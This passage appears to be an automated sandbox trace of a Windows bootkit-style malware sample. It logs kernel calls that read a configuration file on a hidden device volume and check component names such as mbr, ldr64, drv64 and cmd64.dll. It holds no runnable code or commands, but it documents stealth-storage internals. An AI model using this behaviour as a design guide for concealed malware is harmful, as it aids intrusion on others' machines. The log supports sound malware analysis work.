KeEnterCriticalRegion () [0120.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.698] KeLeaveCriticalRegion () [0120.698] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.698] KeEnterCriticalRegion () [0120.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.698] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.698] IdePortDispatch () returned 0x103 [0120.699] KeWaitForMutexObject () returned 0x0 [0120.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.699] KeLeaveCriticalRegion () [0120.699] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.699] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.699] KeEnterCriticalRegion () [0120.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.699] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c4000 [0120.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.699] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.699] IdePortDispatch () returned 0x103 [0120.699] KeWaitForMutexObject () returned 0x0 [0120.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.699] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.699] IdePortDispatch () returned 0x103 [0120.699] KeWaitForMutexObject () returned 0x0 [0120.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.700] KeLeaveCriticalRegion () [0120.700] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.700] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.700] KeEnterCriticalRegion () [0120.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.700] KeLeaveCriticalRegion () [0120.700] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.700] KeEnterCriticalRegion () [0120.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.700] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.700] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.700] KeLeaveCriticalRegion () [0120.700] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.700] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.700] KeEnterCriticalRegion () [0120.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.700] ExFreePoolWithTag (P=0xfffffa8003bbadb0, Tag=0x0) [0120.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.700] KeLeaveCriticalRegion () [0120.700] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.701] ReleaseMutex (hMutex=0xf0) returned 1 [0120.701] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.701] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.701] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.701] KeEnterCriticalRegion () [0120.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.701] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.701] IdePortDispatch () returned 0x103 [0120.701] KeWaitForMutexObject () returned 0x0 [0120.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.701] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.701] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.701] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.701] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.701] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb090 [0120.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.701] KeLeaveCriticalRegion () [0120.701] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.701] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.701] KeEnterCriticalRegion () [0120.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.701] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.701] KeLeaveCriticalRegion () [0120.701] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.701] KeEnterCriticalRegion () [0120.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.701] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.701] IdePortDispatch () returned 0x103 [0120.702] KeWaitForMutexObject () returned 0x0 [0120.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.702] KeLeaveCriticalRegion () [0120.702] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.702] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.702] KeEnterCriticalRegion () [0120.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.702] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c5000 [0120.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.702] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.702] IdePortDispatch () returned 0x103 [0120.702] KeWaitForMutexObject () returned 0x0 [0120.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.702] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.702] IdePortDispatch () returned 0x103 [0120.702] KeWaitForMutexObject () returned 0x0 [0120.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.702] KeLeaveCriticalRegion () [0120.703] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.703] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.703] KeEnterCriticalRegion () [0120.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.703] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.703] KeLeaveCriticalRegion () [0120.703] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.703] KeEnterCriticalRegion () [0120.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.703] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.703] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.703] KeLeaveCriticalRegion () [0120.703] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.703] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.703] KeEnterCriticalRegion () [0120.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.703] ExFreePoolWithTag (P=0xfffffa8003bbb090, Tag=0x0) [0120.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.703] KeLeaveCriticalRegion () [0120.703] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.703] ReleaseMutex (hMutex=0xf0) returned 1 [0120.703] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.703] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.703] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.704] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.704] KeEnterCriticalRegion () [0120.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.704] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.704] IdePortDispatch () returned 0x103 [0120.704] KeWaitForMutexObject () returned 0x0 [0120.704] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.704] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.704] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.704] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.704] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.704] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.704] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.704] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.704] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.704] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.704] KeLeaveCriticalRegion () [0120.704] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.704] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.704] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.705] KeEnterCriticalRegion () [0120.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.705] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.705] IdePortDispatch () returned 0x103 [0120.705] KeWaitForMutexObject () returned 0x0 [0120.705] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.705] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.705] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.705] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.705] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.705] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.705] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.705] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.705] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.705] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.705] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.705] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.705] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.705] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.705] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.705] KeLeaveCriticalRegion () [0120.705] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.705] ReleaseMutex (hMutex=0x100) returned 1 [0120.705] Sleep (dwMilliseconds=0x2bf20) [0120.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b256790, dwHighDateTime=0x1d24fa4)) [0120.711] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.711] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.711] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.711] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.711] KeEnterCriticalRegion () [0120.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.712] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.712] IdePortDispatch () returned 0x103 [0120.712] KeWaitForMutexObject () returned 0x0 [0120.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.712] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.712] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.712] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.712] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.712] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb340 [0120.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.712] KeLeaveCriticalRegion () [0120.712] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.712] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.712] KeEnterCriticalRegion () [0120.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.712] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.712] KeLeaveCriticalRegion () [0120.712] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.712] KeEnterCriticalRegion () [0120.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.712] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.712] IdePortDispatch () returned 0x103 [0120.713] KeWaitForMutexObject () returned 0x0 [0120.713] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.713] KeLeaveCriticalRegion () [0120.713] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.713] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.713] KeEnterCriticalRegion () [0120.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.713] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c8000 [0120.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.713] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.713] IdePortDispatch () returned 0x103 [0120.713] KeWaitForMutexObject () returned 0x0 [0120.713] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.713] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.713] IdePortDispatch () returned 0x103 [0120.714] KeWaitForMutexObject () returned 0x0 [0120.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.714] KeLeaveCriticalRegion () [0120.714] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.714] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.714] KeEnterCriticalRegion () [0120.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.714] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.714] KeLeaveCriticalRegion () [0120.714] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.714] KeEnterCriticalRegion () [0120.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.714] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.714] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, 